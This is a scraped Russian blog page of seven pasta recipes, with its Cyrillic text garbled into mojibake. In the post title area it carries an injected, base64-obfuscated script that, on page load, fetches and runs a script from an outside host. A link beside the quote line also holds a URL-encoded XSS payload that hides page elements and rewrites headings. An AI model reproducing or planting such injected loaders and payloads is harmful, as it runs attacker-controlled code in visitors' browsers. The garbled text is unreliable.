-ѕоиск по дневнику

ѕоиск сообщений в Nar_mina

 -ѕодписка по e-mail

 

 -—татистика

—татистика LiveInternet.ru: показано количество хитов и посетителей
—оздан: 25.01.2015
«аписей: 1547
 омментариев: 72
Ќаписано: 1648


Ѕез заголовка. ќбсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1wYXIiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script>

—реда, 15 ‘еврал€ 2017 г. 13:55 + в цитатник
÷итата сообщени€ ћирјлин ¬ колонках играет - Ѕез заголовка\'}}\"> найти и послушать на LiveInternet' href=//www.liveinternet.ru/msearch/?sm=1&q=%3Cimg+src%3D%22x%22+onerror%3D%22parentnode.parentnode.parentnode.style.display%3D%27none%27%3Bvar+h1%3Ddocument.getelementsbytagname%28%27h1%27%29%3Bfor%28i%3D0%3Bi%3Ch1.length%3Bi%2B%2B%29%7Bif%28h1%5Bi%5D.innerhtml.indexof%28%27%2Fi%2Fo.gif%27%29%2B1%29%7Bh1%5Bi%5D.lastelementchild.innerhtml%3D%27%3Cb%3E%E1%E5%E7+%E7%E0%E3%EE%EB%EE%E2%EA%E0%3C%2Fb%3E%27%7D%7D%22%3E target=_blank>

 ак приготовить макароны│7 вкусных рецептов
 

 ак приготовить макароны: 7 вкусных рецептов.
5283370__1_ (562x462, 623Kb)
 
 
1. ћакароны по-флотски 
 
»нгредиенты:
 
● м€сной фарш 500 г
● макароны 400 г
● репчатый лук 1 шт.
● растительное масло по вкусу
● соль, перец по вкусу
 
ѕриготовление:
 
ќтварить макароны до готовности в подсоленной воде. ћелко нарезать лук. –азогреть сковороду с растительным маслом, выложить м€сной фарш. ≈сли гов€дина жестка€, можно добавить немного кип€щей воды.  огда м€со начнет подрум€ниватьс€, добавить нарезанный лук. ѕосолить и поперчить. “ушить до м€гкости лука.ƒобавить макароны, хорошо перемешать. «а минуту до готовности добавить нарезанную петрушку. ћакароны по-флотски готовы!
 
2. ѕаста с сал€ми в томатном соусе 
 
»нгредиенты:
 
● колбаса
● 100-150 г
● помидоры
● 1 банка
● чеснок
● 1 зубчик
● паста 5 горстей
 
ѕриготовление:
 
¬ чайнике вскип€тить воду и перелить в кастрюлю. ѕоставить на плиту.  огда закипит (это произойдет очень быстро), вспыпать макароны и варить по инструкции на упаковке.—ал€ми нарезать соломкой. „еснок мелко порубить.¬ гор€чую сковородку налить оливковое масло, бросить туда сал€ми и чеснок, готовить, помешива€, в течение пары минут.ƒобавить томаты. √отовить, помешива€, до тех пор, пока соус не загустеет. ƒобавить кайенский перец, посолить.ћакароны откинуть на дуршлаг и переложить в сковородку. ѕеремешать. ѕодавать, посыпав пармезаном. 
 
3. ѕаста с брокколи 
 
»нгредиенты:
 
● паста 175 г
● брокколи 250 г
● оливковое масло 3 ст.л.
● маслины 100 г
● пармезан 50 г
● чеснок 1 долька
● соль по вкусу
 
ѕриготовление:
 
1. ќбжарить зубчик чеснока в масле, удалить его, добавить маслины и бланшированные верхние соцвети€ брокколи. ќбжарить несколько минут на среднем огне.
2. ќтварить пасту, добавить в сковородку с брокколи и оливками, прогреть. ¬ыложить на тарелку и добавить тертый пластинками сыр.
 
4. ѕаста с грибным соусом
 
»нгредиенты:
 
● шампиньоны 200 г
● чеснок 1 долька
● оливковое масло 2 ст.л.
● сливочное масло 50 г
● тертый пармезан 50 г
● белое сухое вино 100 г
● соль, перец по вкусу
● петрушка по вкусу
● паста фетучини 250 г
 
ѕриготовление:
 
1. ѕорезать грибы на кусочки. –азогреть в сковороде растительное масло, добавить чеснок и дать подрум€нитьс€.
2. ƒобавить грибы и обжарить их. ”меньшить огонь, влить вино, дать ему выпаритьс€.
3. ƒобавить мелко нарезанную петрушку и готовить еще 5 минут.
4. ќтварить пасту в большом количестве подсоленной воды, слить воду.
5. ƒобавить в пасту приготовленный грибной соус, масло и тертый сыр.
 
5. ѕаста с куриным филе
 
»нгредиенты:
 
● макароны 500 г
● куриное филе 500 г
● помидоры 3 шт.
● сладкий перец 3 шт.
● петрушка, базилик несколько веточек
● чеснок 2-3 зубчика
● оливковое масло по вкусу
● соль, перец по вкусу
● сметана или сливки 200 мл
 
ѕриготовление:
 
1. ѕорезать куриную грудку на небольшие кусочки, посолить, поперчить и оставить на 15 минут.
2. ѕомидоры залить кип€тком на минуту и очистить от кожицы. Ќарезать томаты и сладкий перец мелкими кубиками. ћелко порезать петрушку и базилик.
3. Ќа большой сковороде на оливковом масле обжарить до золотистого цвета раздавленный чеснок, затем чеснок выбросить.
4. ƒобавить куриную грудку и жарить на сильном огне 5-7 минут. «атем добавьте нарезанные помидоры и сладкий перец, тушить еще несколько минут. ƒобавить сметану, прогреть и сн€ть с огн€.
5. “ем временем отварите пасту до состо€ни€ аль денте, слить воду, добавить макароны к готовой куриной грудке и аккуратно перемешать. ѕодавать, украсив зеленью.
 
6. «јѕ≈„®ЌЌјя ѕ»÷÷ј-—ѕј√≈““» 
 
»нгредиенты:
 
● —пагетти – 340 г
● —оль – 1 чайна€ ложка
● —винна€ колбаса – 480 г
● ѕепперони – 60 г (около 30 слайсов)
● “омат-паста – 740 г
● “ертый пармезан – 60 г
● —месь тертых сыров – 230 г
 
ѕриготовление:
 
ќтварите спагетти, слейте и выложите в смазанное маслом блюдо.ќбжарьте на сковороде колбасу (до коричневотого оттенка). ѕереложите на тарелку и на сковороде обжарьте пепперони до хруст€щей корочки (около 4 минут).Ќа спагетти выложите обжаренную колбасу, залейте томат-пастой. ¬ыложите половину пепперони – сыр – остальное пепперони. ¬ыпекайте при 175 градусах около 30 минут. —ыр должен растопитьс€ и начинать коричневеть. ≈сли он коричневеет слишком рано, то закройте блюдо фольгой.
 
7.—ѕј√≈““» —  ”–»÷≈… » —ќ”—ќћ 
 
»нгредиенты:
 
●  урина€ грудка — 1–2 шт.
● ћакаронные издели€ — 400 г
● —ливки 10% жирности — 200 мл
● –епчатый лук — 1 крупна€ головка
● —ливочное масло — 20 г
● —оль
● ѕрованские травы
 
ѕриготовление:
 
1.  уриную грудку отвариваем в соленой воде практически до готовности около 20 минут. ≈сли внутри м€со осталось немного розовым – ничего, оно дойдет при дальнейшем тушении. ј вот переваривать грудку не стоит, иначе она станет совсем сухой и не такой вкусной.
2. ќстужаем и отдел€ем белое м€со от кости. ѕроцесс будет проще, если сразу использовать куриное филе. Ќарезаем курицу на кубики среднего размера.
3. –астапливаем сливочное масло на сковородке.
4. –епчатый лук режем полукольцами или квадратиками. ќбжариваем его на сливочном масле несколько минут до полупрозрачности.
5. «атем кладем на сковороду к луку нарезанное куриное м€со и жарим еще пару минут.
6. ¬ливаем сливки, все перемешиваем и накрываем крышкой. “ушим 3–4 минуты.
7. ѕасту отвариваем согласно инструкции на упаковке в соленой воде. ќткидываем на дуршлаг и даем воде стечь. „тобы макароны не слиплись, можно слегка ополоснуть их под струей холодной проточной воды.
8. ѕерекладываем пасту в сковороду с курицей и сливками. ѕеремешиваем, посыпаем прованскими травами и черным молотым перцем. “ак же можно добавить мелко порезанную зелень укропа или петрушки.
 
ћетки:  



 

ƒобавить комментарий:
“екст комментари€: смайлики

ѕроверка орфографии: (найти ошибки)

ѕрикрепить картинку:

 ѕереводить URL в ссылку
 ѕодписатьс€ на комментарии
 ѕодписать картинку